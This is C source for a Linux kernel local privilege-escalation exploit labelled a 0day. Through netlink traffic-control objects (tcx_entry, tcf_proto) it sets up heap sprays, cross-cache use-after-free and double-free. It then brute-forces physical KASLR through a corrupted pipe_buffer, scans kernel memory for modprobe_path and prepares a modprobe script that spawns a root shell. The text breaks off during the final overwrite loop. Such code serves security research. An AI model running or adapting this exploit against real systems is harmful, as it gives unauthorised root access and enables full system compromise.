// SPDX-License-Identifier: LOLWTFBBQ-13.37-or-later
/*
 * Mimikyu - Linux Kernel 0day Exploit
 *
 * Authors: Pedro Guerra de Oliveira Pinto, <xten@osec.io>
 *
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <stdbool.h>
#include <fcntl.h>
#include <time.h>
#include <sys/mman.h>

#include <arpa/inet.h>
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <linux/rtnetlink.h>
#include <sys/resource.h>

#include "rtnetlink.h"
#include "bpf.h"
#include "setup.h"
#include "cls.h"
#include "log.h"

#define SPRAY 512
#define SKBUF_SPRAY 128
#define PIPE_SPRAY SKBUF_SPRAY + 32

#define SPRAY_QDISC 0x20000

#define MASK 0xfffffffff0000000
#define PAGE_SIZE 4096
#define PAGE_SHIFT 12
#define PHYSICAL_ALIGN 0x200000

#define MODPROBE_SCRIPT "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n"

#define LOCALHOST 0x200007f

/* msg_msg helpers */
#include <sys/ipc.h>
#include <sys/msg.h>

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x43

typedef struct
{
    long mtype;
    char mtext[0];
} msg_t;

struct list_head
{
    struct list_head *next, *prev;
};

struct msg_msg
{
    struct list_head m_list;
    long m_type;
    size_t m_ts; /* message text size */
    uint64_t next;
    uint64_t security;
    uint8_t text[0];
};

/* pipe_buffer helpers */
struct pipe_buffer
{
    uint64_t page;
    uint32_t offset;
    uint32_t len;
    uint64_t ops;
    uint32_t flags;
    uint32_t pad;
    uint64_t private;
};

/* cross-cache helpers */
#include <linux/if_packet.h>

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout)
{
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0)
    {
        errout("setsockopt(PACKET_VERSION)");
        exit(EXIT_FAILURE);
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0)
    {
        errout("setsockopt(PACKET_RX_RING)");
        exit(EXIT_FAILURE);
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout)
{
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0)
    {
        errout("socket(AF_PACKET)");
        exit(EXIT_FAILURE);
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0)
    {
        errout("bind(AF_PACKET)");
        exit(EXIT_FAILURE);
    }

    return s;
}

void packet_socket_send(int s, char *buffer, int size)
{
    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_halen = ETH_ALEN;

    if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
               sizeof(sa)) < 0)
    {
        errout("sendto(SOCK_RAW)");
        exit(EXIT_FAILURE);
    }
}

void loopback_send(char *buffer, int size)
{
    int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    if (s == -1)
    {
        errout("socket(SOCK_RAW)");
        exit(EXIT_FAILURE);
    }

    packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc()
{
    int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (s == -1)
    {
        errout("socket(SOCK_DGRAM)");
        exit(EXIT_FAILURE);
    }
    return s;
}

void packet_sock_timer_schedule(int s, int timeout)
{
    packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s)
{
    char buffer[16];
    packet_socket_send(s, &buffer[0], sizeof(buffer));
}

int pagealloc_pad(size_t size, int count)
{
    return packet_socket_setup(size, PAGE_SIZE, count, 0, 100);
}

/* misc helpers */
int isheap(uint64_t ptr)
{
    int high = ptr >> 44;
    if (high >= 0xffff8 && high < 0xfffff)
    {
        return 1;
    }
    return 0;
}

static bool is_kernel_base(unsigned char *addr)
{
    // thanks lau :)

    // get-sig kernel_runtime_1
    if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
        memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
        return true;

    // get-sig kernel_runtime_2
    if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
        memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
        memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
        memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
        memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
        memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
        memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
        memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
        memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
        memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
        memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
        return true;

    return false;
}

bool check_modprobe(char *expected)
{
    char buf[32];
    int fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
    if (fd < 0)
    {
        perror("[-] open(modprobe)");
    }
    if (read(fd, buf, 32) < 0)
        errout("[-] read");
    if (!strcmp(buf, expected))
    {
        close(fd);
        return true;
    }
    close(fd);
    return false;
}

bool trigger_modprobe(int status_fd)
{
    char *argv = NULL;
    int fd = memfd_create("", MFD_CLOEXEC);
    int status = 0;

    /* avoid corrupted freelist */
    assign_to_core(1);

    if (write(fd, "\xff\xff\xff\xff", 4) < 0)
        errout("[-] read");
    fexecve(fd, &argv, &argv);
    close(fd);

    if (read(status_fd, &status, 1) < 0)
        errout("[-] read");
    if (status)
    {
        return true;
    }

    assign_to_core(0);
    return false;
}

/* Exploit */
int main(void)
{
    struct sockaddr_nl snl;
    char link_name[] = "lo\0";
    uint64_t sock;
    unsigned int link_id;
    struct rlimit rlim;

    getrlimit(RLIMIT_NOFILE, &rlim);
    if (rlim.rlim_cur < 4096)
        rlim.rlim_cur = 4096;
    if (setrlimit(RLIMIT_NOFILE, &rlim) < 0)
        perror("[-] setrlimit");

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    srand(time(NULL));
    assign_to_core(0);

    // setup I/O for shell
    int stdin_fd = dup(STDIN_FILENO);
    int stdout_fd = dup(STDOUT_FILENO);

    // setup fake modprobe
    int modprobe_fd = memfd_create("", MFD_CLOEXEC);
    int status_fd = memfd_create("", 0);

    /* separate netnamespace for spray */
    int parent[2];
    int child[2];
    if (pipe(parent))
        errout("pipe");
    if (pipe(child))
        errout("pipe");
    if (!fork())
    {
        char dummy_name[] = "br0\0";
        struct sockaddr_nl dummy_snl;
        uint64_t dummy_sock;
        unsigned int dummy_link;
        char _c;

        if (setup_sandbox() < 0)
            errout("sandbox failed");

        /* netlink socket creation */
        if ((dummy_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0)
            errout("socket");

        /* source netlink sock */
        memset(&dummy_snl, 0, sizeof(dummy_snl));
        dummy_snl.nl_family = AF_NETLINK;
        dummy_snl.nl_pid = getpid();
        if (bind(dummy_sock, (struct sockaddr *)&dummy_snl, sizeof(dummy_snl)) < 0)
            errout("bind");

        /* enable interface */
        rt_newlink(dummy_sock, dummy_name, 64);
        printf("[*] dummy ifindex: %i\n", rt_getlink(dummy_sock, dummy_name));
        dummy_link = rt_getlink(dummy_sock, dummy_name);
        printf("[*] dummy link: 0x%x\n", dummy_link);
        rt_setlink(dummy_sock, dummy_link);

        /* create spray qdisc */
        rt_newqdisc(dummy_sock, dummy_link, 0x10000, 0xffffffff, "drr");

        /* defrag kmalloc-512 */
        if (read(parent[0], &_c, 1) != 1) // wait
            errout("read");
        for (int i = 0; i < SPRAY / 2; i++)
            rt_addfilter(dummy_sock, dummy_link, 0x10000, 0xffff8000, i, "route", 1);
        if (write(child[1], "", 1) != 1)
            errout("write");

        /* defrag and fill up qdisc slab */
        for (int i = 0; i < SPRAY / 2; i++)
            rt_addclass(dummy_sock, dummy_link, i, 0x10000);

        /* alloc dummy qdisc (SLUB double-free bypass) */
        if (read(parent[0], &_c, 1) != 1) // wait
            errout("read");
        rt_addclass(dummy_sock, dummy_link, SPRAY / 2, 0x10000);
        if (write(child[1], "", 1) != 1)
            errout("write");

        /* delete dummy qdisc (SLUB double-free bypass) */
        if (read(parent[0], &_c, 1) != 1) // wait
            errout("read");
        rt_delclass(dummy_sock, dummy_link, SPRAY / 2 - 1, 0x10000);
        rt_delclass(dummy_sock, dummy_link, SPRAY / 2, 0x10000);
        if (write(child[1], "", 1) != 1)
            errout("write");

        /* cleanup */
        if (read(parent[0], &_c, 1) != 1) // wait
            errout("read");
        rt_delqdisc(dummy_sock, dummy_link, 0x10000, 0xffffffff);
        close(dummy_sock);

        sleep(13371337);
    }

    /* prepare skbuf spray */
    int skbuf512[288][2];
    for (int i = 0; i < 288; i++)
    {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, skbuf512[i]) < 0)
            errout("socketpair");
    }

    int skbuf1k[SKBUF_SPRAY][2];
    for (int i = 0; i < SKBUF_SPRAY; i++)
    {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, skbuf1k[i]) < 0)
            errout("socketpair");
    }

    /* defrag kmalloc-cg-512 */
    puts("[*] kmalloc-cg-512 skbuf padding");
    char buf[1024];
    memset(buf, 0, 1024);
    for (int i = 0; i < 224; i++)
    {
        if (write(skbuf512[i][0], buf, 512 - 320) < 0)
            errout("write(socket)");
    }

    puts("[*] setup sandbox");
    if (setup_sandbox() < 0)
        errout("sandbox failed");

    /* prepare BPF spray */
    puts("[*] prepare spray objects");
    struct bpf_insn insns[] = {
        BPF_MOV64_IMM(BPF_REG_0, 4),
        BPF_EXIT_INSN(),
    };

    union bpf_attr prog_attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t) "GPL v2",
        .log_level = 0,
        .log_size = 0,
        .log_buf = (uint64_t)0};

    /* prepare msg_msg spray */
    msg_t *msg = calloc(1, sizeof(msg_t) + 4096 + 2048);
    msg->mtype = MTYPE_PRIMARY;

    int defrag2k[SPRAY / 2];
    for (int i = 0; i < SPRAY / 2; i++)
    {
        defrag2k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (defrag2k[i] < 0)
            errout("msgget");
    }

    int frag4k[SPRAY * 12];
    for (int i = 0; i < SPRAY * 12; i++)
    {
        frag4k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (frag4k[i] < 0)
            errout("msgget");
    }

    int qid2k[SPRAY];
    for (int i = 0; i < SPRAY; i++)
    {
        qid2k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (qid2k[i] < 0)
            errout("msgget");
    }

    int defrag1k[SPRAY];
    for (int i = 0; i < SPRAY; i++)
    {
        defrag1k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (defrag1k[i] < 0)
            errout("msgget");
    }

    int seg128[SPRAY + 128];
    for (int i = 0; i < SPRAY + 128; i++)
    {
        seg128[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (seg128[i] < 0)
            errout("msgget");
    }
    int aux128[SPRAY * 2];
    for (int i = 0; i < SPRAY * 2; i++)
    {
        aux128[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (aux128[i] < 0)
            errout("msgget");
    }

    int defrag512[SPRAY];
    for (int i = 0; i < SPRAY; i++)
    {
        defrag512[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (defrag512[i] < 0)
            errout("msgget");
    }

    int qid1k[SPRAY];
    for (int i = 0; i < SPRAY; i++)
    {
        qid1k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (qid1k[i] < 0)
            errout("msgget");
    }

    /* netlink socket creation */
    if ((sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0)
        errout("socket");

    /* source netlink sock */
    memset(&snl, 0, sizeof(snl));
    snl.nl_family = AF_NETLINK;
    snl.nl_pid = getpid();
    if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
        errout("bind");

    /* alloc kmalloc-512 in holes */
    char _c;
    puts("[*] kmalloc-512 defrag");
    if (write(parent[1], "", 1) != 1)
        errout("write");
    if (read(child[0], &_c, 1) != 1) // wait
        errout("read");

    /* enable interface (alloc netdev) */
    rt_newlink(sock, link_name, 32);
    printf("[*] ifindex: %i\n", rt_getlink(sock, link_name));
    link_id = rt_getlink(sock, link_name);
    printf("[*] link_id: 0x%x\n", link_id);
    rt_setlink(sock, link_id);

    /* prepare tcf_proto spray */
    rt_newqdisc(sock, link_id, SPRAY_QDISC, 0xffffffff, "drr");

    /* exhaust order 0 pages */
    puts("[*] order 0 pages defrag");
    int padding = pagealloc_pad(PAGE_SIZE, SPRAY);

    /* defrag cg-2k slab (msg_msgseg) */
    puts("[*] kmalloc-cg-2k defrag");
    for (int i = 0; i < SPRAY / 2; i++)
        msgsnd(defrag2k[i], msg, 4096 - 48 + 2048 - 8, 0);

    /* create cg-4k partial slabs to avoid disputing buddy pages with cg-2k */
    puts("[*] kmalloc-cg-4k partial slabs");
    for (int i = 0; i < SPRAY * 12; i++)
        msgsnd(frag4k[i], msg, 4096 - 48, 0);
    for (int i = 8; i < SPRAY; i++)
    {
        if (!(i % 8))
            continue;
        if (msgrcv(frag4k[i], msg, 4096 - 48, MTYPE_PRIMARY, 0) < 0)
            errout("msgrcv");
    }

    /* defrag 2k slab (bpf_prog_aux) */
    int progfd[SPRAY];
    puts("[*] kmalloc-2k defrag");
    for (int i = 0; i < 3 * SPRAY / 4; i++)
    {
        progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr);
        if (progfd[i] == -1)
            errout("bpf(BPF_PROG_LOAD)");
    }

    /* create qdisc and tcx_entry */
    printf("[*] alloc qdisc and tcx_entry\n");
    rt_newqdisc(sock, link_id, 0x10000, 0xfffffff1, "ingress");

    /* fill up 2k slab */
    for (int i = 3 * SPRAY / 4; i < SPRAY; i++)
    {
        progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr);
        if (progfd[i] == -1)
            errout("bpf(BPF_PROG_LOAD)");
    }

    /* replace old qdisc (free tcx_entry) */
    printf("[*] replace qdisc (free tcx_entry)\n");
    rt_newqdisc(sock, link_id, 0x10000, 0xfffffff1, "ingress");

    /* alloc dummy qdisc (SLUB double-free bypass) */
    if (write(parent[1], "", 1) != 1)
        errout("write");
    if (read(child[0], &_c, 1) != 1) // wait
        errout("read");

    /* free slab containing tcx_entry (return it to buddy) */
    printf("[*] cross-cache (kmalloc-2k -> kmalloc-cg-2k)\n");
    for (int i = SPRAY / 2; i < SPRAY; i++)
        close(progfd[i]);
    sleep(7); // wait for kfree_rcu

    /* msg_msgseg claim slab containing tcx_entry */
    puts("[*] overlap tcx_entry with msg_msgseg");
    for (int i = 0; i < SPRAY; i++)
        msgsnd(qid2k[i], msg, 4096 - 48 + 2048 - 8, 0);

    /* insert into qdisc 2, will dereference dangling ptr */
    printf("[*] create tfilter (overwrite msg_msgseg->next)\n");
    rt_addfilter(sock, link_id, 0xffff0000, 1, 0, "fw", 1); // add head tcf_proto

    /* defrag 128 slab (tcf_proto) */
    puts("[*] kmalloc-128 defrag");
    for (int i = 0; i < SPRAY; i++)
        rt_addfilter(sock, link_id, SPRAY_QDISC, i, i, "fw", 1);

    for (int i = 0; i < 64; i++) // Isolate victim tcf_proto
        rt_addfilter(sock, link_id, SPRAY_QDISC, SPRAY + i, SPRAY + i, "fw", 1);

    puts("[*] create victim tcf_proto");
    rt_addfilter(sock, link_id, 0xffff0000, 2, 0, "fw", 2); // add victim tcf_proto

    for (int i = 64; i < 128; i++) // Isolate victim tcf_proto
        rt_addfilter(sock, link_id, SPRAY_QDISC, SPRAY + i, SPRAY + i, "fw", 1);

    /* invalid free tcf_proto via msg_msgseg */
    printf("[*] free bad msg_msgseg (1) (free victim tcf_proto)\n");
    for (int i = 0; i < SPRAY; i++)
    {
        if (msgrcv(qid2k[i], msg, 4096 - 48 + 2048 - 8, MTYPE_PRIMARY, 0) < 0) // free victim addr (1)
            errout("msgrcv");
    }

    /* reclaim UAF slot for next free */
    puts("[*] overlap tcx_entry with msg_msgseg again");
    for (int i = 0; i < SPRAY; i++)
        msgsnd(qid2k[i], msg, 4096 - 48 + 2048 - 8, 0);

    /* Delete first tcf_proto, write victim tcf_proto ptr to head to be freed again */
    printf("[*] remove dummy tfilter (overwrite msg_msgseg->next)\n");
    rt_delfilter(sock, link_id, 1, 0xffff0000, 0, "fw", 1);

    /* Delete dummy qdisc (SLUB double-free bypass) */
    if (write(parent[1], "", 1) != 1)
        errout("write");
    if (read(child[0], &_c, 1) != 1) // wait
        errout("read");

    /* free slab containing tcf_proto */
    printf("[*] cross-cache (kmalloc-128 -> kmalloc-cg-128)\n");
    for (int i = SPRAY; i < SPRAY + 128; i++)
        rt_delfilter(sock, link_id, i, SPRAY_QDISC, i, "fw", 1);
    sleep(7); // wait for kfree_rcu

    /* msg_msgseg claim free slab */
    memset(&msg->mtext, 0x43, 4096 - 48 + 128 - 8);
    for (int i = 0; i < SPRAY; i++)
        msgsnd(seg128[i], msg, 4096 - 48 + 128 - 8, 0);

    /* free msg_msgseg */
    printf("[*] free bad msg_msgseg (2) (free victim msg_msgseg in kmalloc-cg-128)\n");
    for (int i = 0; i < SPRAY; i++)
    {
        if (msgrcv(qid2k[i], msg, 4096 - 48 + 2048 - 8, MTYPE_PRIMARY, 0) < 0) // free victim addr (2)
            errout("msgrcv");
    }

    /* find corrupted msg_msgseg */
    memset(msg->mtext, 0x44, 4096 - 48 + 128 - 8);
    printf("[*] find corrupted msg_msgseg in kmalloc-cg-128\n");
    for (int i = 0; i < SPRAY * 2; i++)
    {
        ((uint32_t *)&msg->mtext[4096])[2] = i;
        msgsnd(aux128[i], msg, 4096 - 48 + 128 - 8, 0);
    }

    int evilseg = -1;
    int vulnseg = -1;
    int eviladdr = -1;
    uint64_t netdev_ptr;
    for (int i = 0; i < SPRAY; i++)
    {
        if (msgrcv(seg128[i], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0)
            errout("msgrcv");
        if (memmem(&msg->mtext[4096], 128, "DDDDDDDD", 8))
        {
            evilseg = i;
            vulnseg = ((uint32_t *)&msg->mtext[4096])[2];
            break;
        }
    }
    if (evilseg == -1)
    {
        puts("[-] corrupted msg_msgseg not found");
        exit(-1);
    }
    printf("[+] found corrupted msg_msgseg (evilseg: %i / vulnseg: %i)\n", evilseg, vulnseg);

    /* free corrupted msg_msgseg */
    if (msgrcv(aux128[vulnseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0)
        errout("msgrcv");

    /* overlap it with in_ifaddr */
    for (int i = 0; i < 32; i++)
        inet_newaddr(sock, link_id, LOCALHOST + i, i);

    /* netdev pointer leak */
    if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0)
        errout("msgrcv");
    if (isheap(((uint64_t *)msg)[509]))
    {
        eviladdr = ((uint32_t *)msg)[1027];
        netdev_ptr = ((uint64_t *)msg)[509];
    }
    else
    {
        puts("[-] in_ifaddr leak not found");
        exit(-1);
    }

    /* calculate pointer of adjancent kmalloc-cg-512 slab */
    uint64_t skbuf_ptr = (netdev_ptr >> PAGE_SHIFT << PAGE_SHIFT) - 0x6000;
    printf("[*] predicted kmalloc-cg-512 ptr: 0x%lx\n", skbuf_ptr);

    /* make corrupted slot first in freelist */
    printf("[*] deleting eviladdr %i\n", eviladdr);

    for (int i = 0; i < eviladdr; i++)
        msgsnd(aux128[SPRAY + i], msg, 128 - 48, 0);

    inet_deladdr(sock, link_id, LOCALHOST + eviladdr, eviladdr);
    sleep(7); // wait for kfree_rcu

    memset(&msg->mtext, 0, 4096 - 48 + 128 - 8);
    int badseg = -1;
    for (int i = 0; i < 32; i++)
    {
        if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0)
            errout("msgrcv");
        msgsnd(seg128[SPRAY + i], msg, 4096 - 48 + 128 - 8, 0);
        if (msg->mtext[4096 - 48] == 0x43)
        {
            badseg = SPRAY + i;
            printf("[+] found corrupted msg_msgseg 2: %i\n", badseg);
            break;
        }
    }
    if (badseg == -1)
    {
        puts("[-] corrupted msg_msgseg not found 2");
        exit(-1);
    }

    if (msgrcv(seg128[badseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0)
        errout("msgrcv");

    /* data spray using alt_ifname (overlap msg_msgseg->next) */
    char name[128];
    *(uint64_t *)name = skbuf_ptr;
    puts("[*] overlap msg_msgseg (point it to kmalloc-cg-512 skbuf->data)");
    rt_altifname(sock, link_id, name, 128);

    /* overlap cg-512 skbuf with msg_msg with cg-1k ptr */
    puts("[*] overlap kmalloc-cg-512 skbuf->data with msg_msg");
    if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0)
        errout("msgrcv");

    /* double-free in cg-512 */
    for (int i = 224; i < 256; i++)
    {
        if (write(skbuf512[i][0], buf, 512 - 320) < 0)
            errout("read(socket)");
    }

    for (int i = 0; i < 224; i++)
    {
        close(skbuf512[i][0]);
        close(skbuf512[i][1]);
    }

    memset(&msg->mtext, 0, 4096 - 48 + 128 - 8);
    for (int i = 0; i < SPRAY; i++)
    {
        *(uint32_t *)&msg->mtext = i;
        msg->mtype = MTYPE_PRIMARY;
        msgsnd(qid1k[i], msg, 512 - 48, 0);
    }
    for (int i = 0; i < SPRAY; i++)
    {
        *(uint32_t *)&msg->mtext = i;
        msg->mtype = MTYPE_SECONDARY;
        msgsnd(qid1k[i], msg, 1024 - 48, 0);
    }

    /* leak msg_msg with cg-1k ptr */
    char msgbuf[PAGE_SIZE];
    memset(msgbuf, 0, PAGE_SIZE);
    struct msg_msg *fake_msg = (struct msg_msg *)msgbuf;
    int badqid = -1;
    for (int i = 224; i < 256; i++)
    {

        if (read(skbuf512[i][1], buf, 512 - 320) < 0)
            errout("read(socket)");
        if (isheap(((uint64_t *)buf)[0]) && isheap(((uint64_t *)buf)[1]))
        {
            badqid = ((uint32_t *)buf)[12];
            memcpy(msgbuf, buf, 512 - 320);
        }
    }
    if (badqid == -1)
    {
        puts("[-] corrupted msg_msg not found");
        exit(-1);
    }
    printf("[+] found corrupted msg_msg: %i\n", badqid);
    printf("[*] kmalloc-cg-1k msg @ 0x%lx\n", (uint64_t)fake_msg->m_list.next);

    /* pivot to cg-1k */
    fake_msg->m_list.next = fake_msg->m_list.next - 1024;
    for (int i = 224; i < 288; i++)
    {
        if (write(skbuf512[i][0], msgbuf, 512 - 320) < 0)
            errout("write(socket)");
    }

    /* victim qid */
    uint32_t victimqid;
    if (msgrcv(qid1k[badqid], msg, 1024 - 48, 0, MSG_COPY | IPC_NOWAIT) < 0)
        errout("msgrcv");
    victimqid = *(uint32_t *)&msg->mtext;
    printf("[*] victim qid: %i\n", victimqid);

    if (msgrcv(qid1k[badqid], msg, 1024 - 48, MTYPE_SECONDARY, 0) < 0)
        errout("msgrcv");

    fake_msg->m_list.prev = fake_msg->m_list.next;
    fake_msg->m_type = MTYPE_FAKE;
    fake_msg->m_ts = 1024 - 48;
    *(uint64_t *)fake_msg->text = 0x1337133713371337;
    for (int i = 0; i < SKBUF_SPRAY; i++)
    {
        if (write(skbuf1k[i][0], msgbuf, 1024 - 320) < 0)
            errout("write(socket)");
    }

    /* double-free cg-1k slot */
    if (msgrcv(qid1k[victimqid], msg, 1024 - 48, MTYPE_FAKE, 0) < 0)
        errout("msgrcv");

    /* spray pipe_buffer victims */
    int fdflags;
    int pfd[PIPE_SPRAY][2];
    for (int i = 0; i < PIPE_SPRAY; i++)
    {
        if (pipe(pfd[i]) < 0)
            perror("pipe");
        fdflags = fcntl(pfd[i][0], F_GETFL, 0);
        fcntl(pfd[i][0], F_SETFL, fdflags | O_NONBLOCK);
        fdflags = fcntl(pfd[i][1], F_GETFL, 0);
        fcntl(pfd[i][1], F_SETFL, fdflags | O_NONBLOCK);
    }

    /* populate pipe_buffer */
    for (int i = 0; i < PIPE_SPRAY; i++)
    {
        if (write(pfd[i][1], "pwn", 3) < 0)
            perror("write");
    }

    /* leak pipe_buffer */
    bool found = false;
    struct pipe_buffer *pipebuf = calloc(1, 1024);
    puts("[*] read pipe_buffer with skbuf");
    for (int i = 0; i < SKBUF_SPRAY; i++)
    {
        if (read(skbuf1k[i][1], buf, 1024 - 320) < 0)
        {
            perror("[-] read(socket)");
        }
        if (*(uint64_t *)&buf[48] != 0x1337133713371337)
        {
            memcpy(pipebuf, buf, 1024);
            found = true;
        }
    }

    if (!found)
    {
        puts("[-] corrupted pipe_buffer not found");
        exit(-1);
    }

    puts("[+] found pipe_buffer");

    /* leak vmemmap_base */
    uint64_t vmemmap_base = pipebuf->page & MASK;
    printf("[*] vmemmap_base: 0x%lx\n", vmemmap_base);

    /* bruteforce phys-KASLR */
    uint64_t kernel_base;
    found = false;
    uint8_t data[PAGE_SIZE] = {0};
    puts("[*] bruteforce phys-KASLR");
    for (uint64_t i = 0;; i++)
    {
        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);
        pipebuf->page = vmemmap_base + kernel_base;
        pipebuf->offset = 0;
        pipebuf->len = PAGE_SIZE + 1;

        printf("\r[*] trying 0x%lx", pipebuf->page);

        for (int i = 0; i < SKBUF_SPRAY; i++)
        {
            if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0)
            {
                perror("\n[-] write(socket)");
            }
        }

        for (int j = 0; j < PIPE_SPRAY; j++)
        {
            memset(&data, 0, PAGE_SIZE);
            int count;
            if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0)
            {
                continue;
            }

            if (!memcmp(&data, "pwn", 3))
            {
                continue;
            }

            if (is_kernel_base(data))
            {
                found = true;
                break;
            }
        }

        for (int i = 0; i < SKBUF_SPRAY; i++)
        {
            if (read(skbuf1k[i][1], buf, 1024 - 320) < 0)
            {
                perror("[-] read(socket)");
            }
        }

        if (found)
        {
            break;
        }
    }
    found = false;
    printf("\n[+] kernel base vmemmap offset: 0x%lx\n", kernel_base);

    /* scan kernel memory */
    uint64_t modprobe_page, modprobe_off;
    uint32_t pipe_idx;
    uint64_t base_off = 0;
    puts("[*] scanning kernel memory");
    for (uint64_t i = 0;; i++)
    {
        pipebuf->page = vmemmap_base + kernel_base + 0x40 * i;
        pipebuf->offset = 0;
        pipebuf->len = PAGE_SIZE + 1;

        if (!(i % 1000))
        {
            printf("\r[*] trying 0x%lx, %luMb", pipebuf->page, i * 4096 / 1024 / 1024);
        }
        for (int i = 0; i < SKBUF_SPRAY; i++)
        {
            if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0)
            {
                perror("\n[-] write(socket)");
            }
        }

        for (int j = 0; j < PIPE_SPRAY; j++)
        {
            memset(&data, 0, PAGE_SIZE);
            int count;
            if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0)
            {
                continue;
            }

            if (!memcmp(&data, "pwn", 3))
            {
                continue;
            }

            void *locate = (uint64_t *)memmem(&data, PAGE_SIZE, "/sbin/modprobe", sizeof("/sbin/modprobe"));
            if (locate)
            {
                puts("\n[+] found modprobe_path");
                modprobe_page = pipebuf->page;
                modprobe_off = (uint8_t *)locate - data;
                printf("[*] modprobe page: 0x%lx\n", modprobe_page);
                printf("[*] modprobe offset: 0x%lx\n", modprobe_off);
                found = true;
                pipe_idx = j;
                break;
            }
        }

        for (int i = 0; i < SKBUF_SPRAY; i++)
        {
            if (read(skbuf1k[i][1], buf, 1024 - 320) < 0)
            {
                perror("[-] read(socket)");
            }
        }

        if (found)
        {
            break;
        }
    }

    /* overwrite modprobe_path */
    char fd_path[32] = {0};
    puts("[*] overwrite modprobe_path");
    for (int i = 0; i < 4194304; i++)
    {
